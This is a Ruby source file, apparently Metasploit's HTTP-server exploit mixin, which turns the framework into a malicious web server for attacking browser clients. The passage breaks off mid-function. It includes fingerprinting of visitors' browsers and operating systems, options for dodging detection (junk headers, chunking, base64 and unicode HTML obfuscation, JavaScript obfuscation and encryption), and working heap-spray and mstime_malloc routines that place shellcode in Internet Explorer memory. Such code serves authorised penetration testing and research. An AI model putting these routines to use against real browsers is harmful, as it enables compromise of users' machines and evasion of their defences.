metasploit-gs/lib/msf/core/exploit/http/server.rb

# -*- coding: binary -*-
require 'rex/service_manager'
require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/encryptjs'
require 'rex/exploitation/heaplib'

module Msf

###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer

  include Msf::Exploit::Remote::TcpServer
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super

    register_options(
      [
        OptString.new('URIPATH', [ false,  "The URI to use for this exploit (default is random)"]),
      ], Exploit::Remote::HttpServer
    )

    register_evasion_options(
      [
        OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
        OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
        OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
        OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
        OptString.new('HTTP::server_name', [true, 'Configures the Server header of all outgoing replies', 'Apache'])
      ], Exploit::Remote::HttpServer
    )

    # Used to keep track of resources added to the service manager by
    # this module. see #add_resource and #cleanup
    @my_resources = []
    @service_path = nil
  end

  #
  # By default, all HTTP servers are not subject to automatic exploitation
  #
  def autofilter
    false
  end

  #
  # Thread-local client accessor
  #
  def cli
    Thread.current[:cli]
  end

  #
  # Thread-local client accessor
  #
  def cli=(cli)
    Thread.current[:cli] = cli
  end

  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def print_line(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end
  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def print_status(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end
  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def print_error(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end
  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def print_debug(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end
  #
  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def print_warning(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end

  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def vprint_line(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end
  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def vprint_status(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end
  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def vprint_error(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end
  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def vprint_debug(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end
  # :category: print_* overrides
  # Prepends client and module name if inside a thread with a #cli
  def vprint_warning(msg='')
    (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
  end


  #
  # Ensures that gzip can be used.  If not, an exception is generated.  The
  # exception is only raised if the DisableGzip advanced option has not been
  # set.
  #
  def use_zlib
    if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
      raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!"
    end
  end

  #
  # This method gives a derived class the opportunity to ensure that all
  # dependencies are present before initializing the service.
  #
  # By default, all HTTP server mixins will try to use zlib.
  #
  def check_dependencies
    use_zlib
  end

  ##
  # :category: Exploit::Remote::TcpServer overrides
  #
  # This mixin starts the HTTP server listener.  This routine takes a few
  # different hash parameters:
  #
  #   ServerHost => Override the server host to listen on (default to SRVHOST).
  #   ServerPort => Override the server port to listen on (default to SRVPORT).
  #   Uri        => The URI to handle and the associated procedure to call.
  #
  def start_service(opts = {})

    check_dependencies

    comm = datastore['ListenerComm']
    if (comm.to_s == "local")
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    # Default the server host and port to what is required by the mixin.
    opts = {
      'ServerHost' => datastore['SRVHOST'],
      'ServerPort' => datastore['SRVPORT'],
      'Comm'       => comm
    }.update(opts)

    # Start a new HTTP server service.
    self.service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      opts['ServerPort'].to_i,
      opts['ServerHost'],
      datastore['SSL'],
      {
        'Msf'        => framework,
        'MsfExploit' => self,
      },
      opts['Comm'],
      datastore['SSLCert']
    )

    self.service.server_name = datastore['HTTP::server_name']

    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => Proc.new { |cli, req|
          self.cli = cli
          ( self.respond_to?(:filter_request_uri) &&
                      filter_request_uri(cli, req)
                    ) ? nil : on_request_uri(cli, req)
        },
      'Path' => resource_uri
    }.update(opts['Uri'] || {})

    proto = (datastore["SSL"] ? "https" : "http")

    print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

    if (opts['ServerHost'] == '0.0.0.0')
      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
    end

    add_resource(uopts)
  end

  # Set {#on_request_uri} to handle the given +uri+ in addition to the one
  # specified by the user in URIPATH.
  #
  # @note This MUST be called from {#primer} so that the service has been set
  # up but we have not yet entered the listen/accept loop.
  #
  # @param uri [String] The resource URI that should be handled by
  #   {#on_request_uri}.
  # @return [void]
  def hardcoded_uripath(uri)
    proc = Proc.new do |cli, req|
      on_request_uri(cli, req)
    end

    vprint_status("Adding hardcoded uri #{uri}")
    begin
      add_resource({'Path' => uri, 'Proc' => proc})
    rescue RuntimeError => e
      print_error("This module requires a hardcoded uri at #{uri}. Can't run while other modules are using it.")
      raise e
    end
  end

  # Take care of removing any resources that we created
  def cleanup
    # Must dup here because remove_resource modifies @my_resources
    @my_resources.dup.each do |resource|
      remove_resource(resource)
    end

    super
  end

  #
  # Return a Hash containing a best guess at the actual browser and operating
  # system versions, based on the User-Agent header.
  #
  # Keys in the returned hash are similar to those expected of
  # Report#report_client, and Msf::DBManager#report_host namely:
  # +:ua_name+::     a brief identifier for the client, e.g. "Firefox"
  # +:ua_ver+::      the version number of the client, e.g. "3.0.11"
  # +:os_name+::     one of the Msf::OperatingSystems constants
  # +:os_flavor+::   something like "XP" or "Gentoo"
  # +:os_lang+::     something like "English", "French", or "en-US"
  # +:arch+::        one of the ARCH_* constants
  #
  # Unknown values may be nil.
  #
  def fingerprint_user_agent(ua_str)
    fp = { :ua_string => ua_str }

    # always check for IE last because everybody tries to
    # look like IE
    case (ua_str.downcase)
      # Chrome tries to look like Safari, so check it first
      when /chrome\/(\d+(:?\.\d+)*)/
        # Matches, e.g.:
        # Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
        fp[:ua_name] = HttpClients::CHROME
        fp[:ua_ver] = $1
      when /version\/(\d+(:?\.\d+)*)\s*safari/
        fp[:ua_name] = HttpClients::SAFARI
        fp[:ua_ver] = $1
      when /firefox\/((:?[0-9]+\.)+[0-9]+)/
        fp[:ua_name] = HttpClients::FF
        fp[:ua_ver] = $1
      when /opera\/(\d+(:?\.\d+)*)/
        fp[:ua_name] = HttpClients::OPERA
        fp[:ua_ver] = $1
      when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/
        fp[:ua_name] = HttpClients::IE
        fp[:ua_ver] = $1
      else
        fp[:ua_name] = HttpClients::UNKNOWN
    end
    case (ua_str.downcase)
      when /(en-us|en-gb)/
        fp[:os_lang] = $1
    end
    case (ua_str.downcase)
      when /windows/
        fp[:os_name] = OperatingSystems::WINDOWS
        fp[:arch] = ARCH_X86
      when /linux/
        fp[:os_name] = OperatingSystems::LINUX
      when /iphone/
        fp[:os_name] = OperatingSystems::MAC_OSX
        fp[:arch] = 'armle'
      when /mac os x/
        fp[:os_name] = OperatingSystems::MAC_OSX
      else
        fp[:os_name] = OperatingSystems::UNKNOWN
    end
    case (ua_str.downcase)
      when /windows 95/
        fp[:os_flavor] = '95'
      when /windows 98/
        fp[:os_flavor] = '98'
      when /windows nt 4/
        fp[:os_flavor] = 'NT'
      when /windows nt 5.0/
        fp[:os_flavor] = '2000'
      when /windows nt 5.1/
        fp[:os_flavor] = 'XP'
      when /windows nt 5.2/
        fp[:os_flavor] = '2003'
      when /windows nt 6.0/
        fp[:os_flavor] = 'Vista'
      when /windows nt 6.1/
        fp[:os_flavor] = '7'
      when /windows nt 6.2/
        fp[:os_flavor] = '8'
      when /gentoo/
        fp[:os_flavor] = 'Gentoo'
      when /debian/
        fp[:os_flavor] = 'Debian'
      when /ubuntu/
        fp[:os_flavor] = 'Ubuntu'
      when /fedora/
        fp[:os_flavor] = 'Fedora'
      when /red hat|rhel/
        fp[:os_flavor] = 'RHEL'
      when /android/
        fp[:os_flavor] = 'Android'
      else
        fp[:os_flavor] = ''
    end
    case (ua_str.downcase)
      when /ppc/
        fp[:arch] = ARCH_PPC
      when /x64|x86_64/
        fp[:arch] = ARCH_X86_64
      when /i.86|wow64/
        # WOW64 means "Windows on Windows64" and is present
        # in the useragent of 32-bit IE running on 64-bit
        # Windows
        fp[:arch] = ARCH_X86
      when /android|iphone|ipod|ipad/
        fp[:arch] = ARCH_ARMLE
      else
        fp[:arch] = ARCH_X86
    end

    fp
  end

  #
  # Store the results of server-side User-Agent fingerprinting in the DB.
  #
  # Returns a Hash containing host and client information.
  #
  def report_user_agent(address, request, client_opts={})
    fp = fingerprint_user_agent(request["User-Agent"])
    host = {
      :address   => address,
      :host      => address,
    }
    host[:os_name]   = fp[:os_name]   if fp[:os_name]
    host[:os_flavor] = fp[:os_flavor] if fp[:os_flavor]
    host[:arch]      = fp[:arch]      if fp[:arch]
    host[:os_lang]   = fp[:os_lang]   if fp[:os_lang]
    report_host(host)
    client = {
      :host      => address,
      :ua_string => request['User-Agent'],
    }
    client[:ua_name] = fp[:ua_name] if fp[:ua_name]
    client[:ua_ver]  = fp[:ua_ver]  if fp[:ua_ver]
    client.merge!(client_opts) if client_opts
    report_client(client)
    report_note(
      :host => address,
      :type => 'http.request',
      :data => "#{address}: #{request.method} #{request.resource} #{client[:os_name]} #{client[:ua_name]} #{client[:ua_ver]}",
      :update => :unique_data
    )
    return host.merge(client)
  end

  #
  # Adds a URI resource using the supplied hash parameters.
  #
  #   Path     => The path to associate the procedure with.
  #   Proc     => The procedure to call when the URI is requested.
  #   LongCall => Indicates that the request is a long call.
  #
  # NOTE: Calling #add_resource will change the results of subsequent calls
  # to #get_resource!
  #
  # @return (see Rex::Service#add_resource)
  def add_resource(opts)
    @service_path = opts['Path']
    res = service.add_resource(opts['Path'], opts)

    # This has to go *after* the call to service.add_resource in case
    # the service manager doesn't like it for some reason and raises.
    @my_resources.push(opts['Path'])

    res
  end

  #
  # Returns the last-used resource path
  #
  def get_resource
    # We don't want modules modifying their service_path inadvertantly, so
    # give them a dup.  Can be nil during module setup.
    @service_path ? @service_path.dup : nil
  end

  #
  # Return a full url of the form <tt>http://1.1.1.1:8080/resource/</tt>
  #
  # The address portion should be something a client would be able to route,
  # but see {#srvhost_addr} for caveats.
  #
  def get_uri(cli=self.cli)
    ssl = !!(datastore["SSL"])
    proto = (ssl ? "https://" : "http://")
    if (cli and cli.peerhost)
      host = Rex::Socket.source_address(cli.peerhost)
    else
      host = srvhost_addr
    end

    if Rex::Socket.is_ipv6?(host)
      host = "[#{host}]"
    end

    if (ssl and datastore["SRVPORT"] == 443)
      port = ''
    elsif (!ssl and datastore["SRVPORT"] == 80)
      port = ''
    else
      port = ":" + datastore["SRVPORT"].to_s
    end

    uri = proto + host + port + get_resource

    uri
  end

  #
  # An address to which the client can route.
  #
  # If available, return LHOST which should be the right thing since it
  # already has to be an address the client can route to for the payload to
  # work.  However, LHOST will only be available if we're using a reverse_*
  # payload, so if we don't have it, try to use the client's peerhost
  # address.  Failing that, fall back to the addr with the default gateway.
  # All of this will be for naught in the case of a user behind NAT using a
  # bind payload but there's nothing we can do about it.
  #
  # NOTE: The address will be *incorrect* in the following two situations:
  # 1. LHOST is pointed at a multi/handler on some other box.
  # 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
  #    using a bind payload.  In that case, we don't have an LHOST and
  #    the source address will be internal.
  #
  # This can potentially be dealt with in a module by using the Host header
  # from a request if such a header exists.
  #
  # @return [String]
  def srvhost_addr
    if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
      host = datastore["LHOST"]
    else
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        if (respond_to?(:sock) and sock and sock.peerhost)
          # Then this is a Passive-Aggressive module. It has a socket
          # connected to the remote server from which we can deduce the
          # appropriate source address.
          host = Rex::Socket.source_address(sock.peerhost)
        else
          # Otherwise, this module is only a server, not a client, *and*
          # the payload does not have an LHOST option. This can happen,
          # for example, with a browser exploit using a download-exec
          # payload. In that case, just use the address of the interface
          # with the default gateway and hope for the best.
          host = Rex::Socket.source_address
        end
      else
        host = datastore['SRVHOST']
      end
    end

    host
  end

  #
  # Removes a URI resource.
  #
  def remove_resource(name)
    # Guard against removing resources added by other modules
    if @my_resources.include?(name)
      @my_resources.delete(name)
      service.remove_resource(name)
    end
  end

  #
  # Closes a client connection.
  #
  def close_client(cli)
    service.close_client(cli)
  end

  #
  # Creates an HTTP response packet.
  #
  def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol)
    res = Rex::Proto::Http::Response.new(code, message, proto);
    res['Content-Type'] = 'text/html'
    res
  end

  #
  # Transmits a response to the supplied client, default content-type is text/html
  #
  # Payload evasions are implemented here!
  #
  def send_response(cli, body, headers = {})
    response = create_response
    response['Content-Type'] = 'text/html'
    response.body = body.to_s.unpack("C*").pack("C*")

    if (datastore['HTTP::compression'])
      self.use_zlib # make sure...
      response.compress = datastore['HTTP::compression']
    end

    if (datastore['HTTP::chunked'] == true)
      response.auto_cl = false
      response.transfer_chunked = true
    end

    if (datastore['HTTP::header_folding'] == true)
      response.headers.fold = 1
    end

    if (datastore['HTTP::junk_headers'] == true)
      response.headers.junk_headers = 1
    end

    headers.each_pair { |k,v| response[k] = v }

    cli.send_response(response)
  end

  #
  # Sends a 302 redirect to the client
  #
  def send_redirect(cli, location='/', body='', headers = {})
    response = create_response(302, 'Moved')
    response['Content-Type'] = 'text/html'
    response['Location'] = location
    response.body = body.to_s.unpack("C*").pack("C*")
    headers.each_pair { |k,v| response[k] = v }

    cli.send_response(response)
  end


  #
  # Sends a 302 redirect relative to our base path
  #
  def send_local_redirect(cli, location)
    send_redirect(cli, get_resource + location)
  end


  #
  # Sends a 404
  #
  def send_not_found(cli)
    resp_404 = create_response(404, 'Not Found')
    resp_404.body = %Q{\
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
</body></html>
}

    cli.send_response(resp_404)
  end


  #
  # Returns the configured (or random, if not configured) URI path
  #
  def resource_uri
    path = datastore['URIPATH'] || random_uri
    path = '/' + path if path !~ /^\//
    return path
  end


  #
  # Generates a random URI for use with making finger printing more
  # challenging.
  #
  def random_uri
    "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
  end

  #
  # Re-generates the payload, substituting the current RHOST and RPORT with
  # the supplied client host and port.
  #
  def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
    pcode = nil

    # If the payload fails to generate for some reason, send a 403.
    if ((pcode = super(cli, arch, platform, target)) == nil)
      print_error("Failed to generate payload, sending 403.")

      cli.send_response(
        create_response(403, 'Forbidden'))

      return nil
    end
    pcode
  end

  ##
  #
  # Override methods
  #
  ##

  #
  # Called when a request is made to a single URI registered during the
  # start_service.  Subsequent registrations will not result in a call to
  # on_request_uri.
  #
  # Modules should override this method.
  #
  def on_request_uri(cli, request)
  end

end

###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML

  include Msf::Exploit::Remote::HttpServer

protected

  def initialize(info = {})
    super

    register_evasion_options(
      [
        # utf-8, utf-7 and utf-7-all are currently not supported by
        # most browsers.  as such, they are not added by default.  The
        # mixin supports encoding using them, however they are not
        # listed in the Option.
        OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
        OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
        OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)',  0]),
      ], Exploit::Remote::HttpServer::HTML)
  end

  #
  # Obfuscates symbols found within a javascript string.
  #
  # Returns an ObfuscateJS object
  #
  def obfuscate_js(javascript, opts)
    js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
    js.obfuscate
    return js
  end

  #
  # Encrypts a given javascript string using the provided key.
  #
  # Returns a string containing the encrypted string and a loader
  #
  def encrypt_js(javascript, key)
    js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
  end

  #
  # Returns the heaplib javascript, including any custom javascript supplied
  # by the caller.
  #
  def heaplib(custom_js = '', opts = {})
    Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
  end

  def js_base64
    js = <<-ENDJS
      // Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
      // variable names changed to make obfuscation easier
      var Base64 = {
        // private property
        _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

        // private method
        _utf8_encode : function ( input ){
          input = input.replace(/\\r\\n/g,"\\n");
          var utftext = "";
          var input_idx;

          for (input_idx = 0; input_idx < input.length; input_idx++) {
            var chr = input.charCodeAt(input_idx);
            if (chr < 128) {
              utftext += String.fromCharCode(chr);
            }
            else if((chr > 127) && (chr < 2048)) {
              utftext += String.fromCharCode((chr >> 6) | 192);
              utftext += String.fromCharCode((chr & 63) | 128);
            } else {
              utftext += String.fromCharCode((chr >> 12) | 224);
              utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
              utftext += String.fromCharCode((chr & 63) | 128);
            }
          }

          return utftext;
        },

        // public method for encoding
        encode : function( input ) {
          var output = "";
          var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
          var input_idx = 0;

          input = Base64._utf8_encode(input);

          while (input_idx < input.length) {
            chr1 = input.charCodeAt( input_idx++ );
            chr2 = input.charCodeAt( input_idx++ );
            chr3 = input.charCodeAt( input_idx++ );

            enc1 = chr1 >> 2;
            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
            enc4 = chr3 & 63;

            if (isNaN(chr2)) {
              enc3 = enc4 = 64;
            } else if (isNaN(chr3)) {
              enc4 = 64;
            }
            output = output +
            this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
            this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
          }
          return output;
        },
        // public method for decoding
        decode : function (input) {
          var output = "";
          var chr1, chr2, chr3;
          var enc1, enc2, enc3, enc4;
          var i = 0;

          input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, "");

          while (i < input.length) {

            enc1 = this._keyStr.indexOf(input.charAt(i++));
            enc2 = this._keyStr.indexOf(input.charAt(i++));
            enc3 = this._keyStr.indexOf(input.charAt(i++));
            enc4 = this._keyStr.indexOf(input.charAt(i++));

            chr1 = (enc1 << 2) | (enc2 >> 4);
            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
            chr3 = ((enc3 & 3) << 6) | enc4;

            output = output + String.fromCharCode(chr1);

            if (enc3 != 64) {
              output = output + String.fromCharCode(chr2);
            }
            if (enc4 != 64) {
              output = output + String.fromCharCode(chr3);
            }

          }

          output = Base64._utf8_decode(output);

          return output;

        },
        _utf8_decode : function (utftext) {
          var string = "";
          var input_idx = 0;
          var chr1 = 0;
          var chr2 = 0;
          var chr3 = 0;

          while ( input_idx < utftext.length ) {

            chr1 = utftext.charCodeAt(input_idx);

            if (chr1 < 128) {
              string += String.fromCharCode(chr1);
              input_idx++;
            }
            else if((chr1 > 191) && (chr1 < 224)) {
              chr2 = utftext.charCodeAt(input_idx+1);
              string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
              input_idx += 2;
            } else {
              chr2 = utftext.charCodeAt(input_idx+1);
              chr3 = utftext.charCodeAt(input_idx+2);
              string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
              input_idx += 3;
            }
          }

          return string;
        }


      };

    ENDJS
    opts = {
      'Symbols' => {
        'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
          input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 },
        'Methods'   => %w{ _utf8_encode _utf8_decode encode decode }
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)

    return js
  end


  #
  # Downloads data using ajax
  #
  # Supported arguments:
  # method => Optional. HTTP Verb (eg. GET/POST)
  # path   => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
  #           must use a relative path, otherwise you will be blocked by the browser.
  # data   => Optional. Data to pass to the server
  #
  # Example of using the ajax_download() function:
  # For IE, your web server has to return this header to download binary data:
  # "text/plain; charset=x-user-defined"
  #    <script>
  #    #{js_ajax_download}
  #
  #    ajax_download({path:"/test.bin"});
  #    </script>
  #
  def js_ajax_download
    %Q|function ajax_download(oArg) {
      method = oArg.method;
      path   = oArg.path;
      data   = oArg.data;

      if (method == undefined) { method = "GET"; }
      if (method == path)      { throw "Missing parameter 'path'"; }
      if (data   == undefined) { data = null; }

      if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest();
      }
      else {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
      }

      if (xmlHttp.overrideMimeType) {
        xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
      }

      xmlHttp.open(method, path, false);
      xmlHttp.send(data);
      if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
        return xmlHttp.responseText;
      }
      return null;
    }
    |
  end


  #
  # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
  # suitable for a no-spray technique.  There should be an allocation that contains an array of
  # pointers to strings that we control, and each string should reside in its own buffer.
  # Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
  # Internet Explorer 8 or prior.  Note that "mstime_malloc" also requires a rather specific
  # writing style, so make sure you have the following before using:
  #   * You must have the following at the beginning of your HTML file:
  #     	<!doctype html>
  #       <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
  #   * You must have the following in <meta>:
  #     	<meta>
  #           <?IMPORT namespace="t" implementation="#default#time2">
  #       </meta>
  #
  # The "mstime_malloc" JavaScript function supports the following arguments:
  #   shellcode     => The shellcode to place.
  #   offset        => Optional. The pointer index that points to the shellcode.
  #   heapBlockSize => Object size.
  #   objId         => The ID to your ANIMATECOLOR element.
  #
  # Example of using "js_mstime_malloc":
  #     <script>
  #     #{js_mstime_malloc}
  #
  #     shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
  #     offset    = 3;
  #     s         = 0x58;
  #     mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
  #     </script>
  #
  def js_mstime_malloc
    %Q|
    function mstime_malloc(oArg) {
      shellcode     = oArg.shellcode;
      offset        = oArg.offset;
      heapBlockSize = oArg.heapBlockSize;
      objId         = oArg.objId;

      if (shellcode     == undefined) { throw "Missing argument: shellcode"; }
      if (offset        == undefined) { offset = 0; }
      if (heapBlockSize == undefined) { throw "Size must be defined"; }

      buf = "";
      for (i=0; i < heapBlockSize/4; i++) {
        if (i == offset) {
          if (i == 0) { buf += shellcode;       }
          else        { buf += ";" + shellcode; }
        }
        else {
          buf += ";##{Rex::Text.rand_text_hex(6)}";
        }
      }

      e = document.getElementById(objId);
      if (e == null) {
        eleId = "#{Rex::Text.rand_text_alpha(5)}"
        acTag = "<t:ANIMATECOLOR id='"+ eleId  + "'/>"
        document.body.innerHTML = document.body.innerHTML + acTag;
        e = document.getElementById(eleId);
      }
      try { e.values = buf; }
      catch (e) {}
    }
    |
  end

  #
  # This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
  # function to trigger allocations by ntdll!RtlAllocateHeap.  It is based on Corelan's
  # publication on "DEPS – Precise Heap Spray on Firefox and IE10".  In IE, the shellcode
  # should land at address 0x0c0d2020, as this is the most consistent location across
  # various versions.
  #
  # The "sprayHeap" JavaScript function supports the following arguments:
  #   shellcode     => The shellcode to spray in JavaScript.  Note: Avoid null bytes.
  #   objId         => Optional. The ID for a <div> HTML tag.
  #   offset        => Optional. Number of bytes to align the shellcode, default: 0x00
  #   heapBlockSize => Optional. Allocation size, default: 0x80000
  #   maxAllocs     => Optional. Number of allocation calls, default: 0x350
  #
  # Example of using the 'sprayHeap' function:
  #   <script>
  #   #{spray}
  #
  #   var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
  #   sprayHeap({shellcode:s, heapBlockSize:0x80000});
  #   </script>
  #
  def js_property_spray
    sym_div_container = Rex::Text.rand_text_alpha(rand(10) + 5)
    js = %Q|
    var #{sym_div_container};
    function sprayHeap( oArg ) {

      shellcode     = oArg.shellcode;
      offset        = oArg.offset;
      heapBlockSize = oArg.heapBlockSize;
      maxAllocs     = oArg.maxAllocs;
      objId         = oArg.objId;

      if (shellcode     == undefined)  { throw "Missing argument: shellcode"; }
      if (offset        == undefined)  { offset        = 0x00; }
      if (heapBlockSize == undefined)  { heapBlockSize = 0x80000; }
      if (maxAllocs     == undefined)  { maxAllocs     = 0x350; }

      if (offset > 0x800) { throw "Bad alignment"; }

      #{sym_div_container} = document.getElementById(objId);

      if (#{sym_div_container} == null) {
        #{sym_div_container} = document.createElement("div");
      }

      #{sym_div_container}.style.cssText = "display:none";
      var data;
      junk = unescape("%u2020%u2020");
      while (junk.length < offset+0x1000) junk += junk;

      data = junk.substring(0,offset) + shellcode;
      data += junk.substring(0,0x800-offset-shellcode.length);

      while (data.length < heapBlockSize) data += data;

      for (var i = 0; i < maxAllocs; i++)
      {
        var obj = document.createElement("button");
        obj.title = data.substring(0, (heapBlockSize-2)/2);
        #{sym_div_container}.appendChild(obj);
      }
    }
    |
  end

  def js_heap_spray
    js = %Q|var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
  var index;
  var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
  var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
  while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
  while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }

  var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
  while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
  retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);

  var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
  for (index = 0; index < heapBlockCnt; index++) {
    memory[index] = retSlide + shellcode;
  }
}
|
    opts = {
      'Symbols' => {
        'Variables' => %w{ shellcode retSlide payLoadSize memory index
          heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
          heapBlockCnt },
        'Methods'   => %w{ sprayHeap }
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
    return js
  end

  def js_os_detect
    return ::Rex::Exploitation::JavascriptOSDetect.new
  end

  # Transmits a html response to the supplied client
  #
  # HTML evasions are implemented here.
  def send_response_html(cli, body, headers = {})
    body = body.to_s.unpack("C*").pack("C*")
    if datastore['HTML::base64'] != 'none'
      case datastore['HTML::base64']
        when 'plain'
          body = Rex::Text.encode_base64(body)
        when 'single_pad'
          body = Rex::Text.encode_base64(' ' + body)
        when 'double_pad'
          body = Rex::Text.encode_base64('  ' + body)
        when 'random_space_injection'
          body = Rex::Text.encode_base64(body)
          new = ''
          while (body.size > 0)
            new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
          end
          body = new
      end

      body = 	'<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
          'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
          body + '">Could not render object</OBJECT></BODY></HTML>'
    end

    if datastore['HTML::javascript::escape'] > 0
      datastore['HTML::javascript::escape'].times {
        body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
      }
    end

    if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
      headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode']
      body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
    else
      # special cases
      case datastore['HTML::unicode']
        when 'utf-16be-marker'
          headers['Content-Type'] = 'text/html'
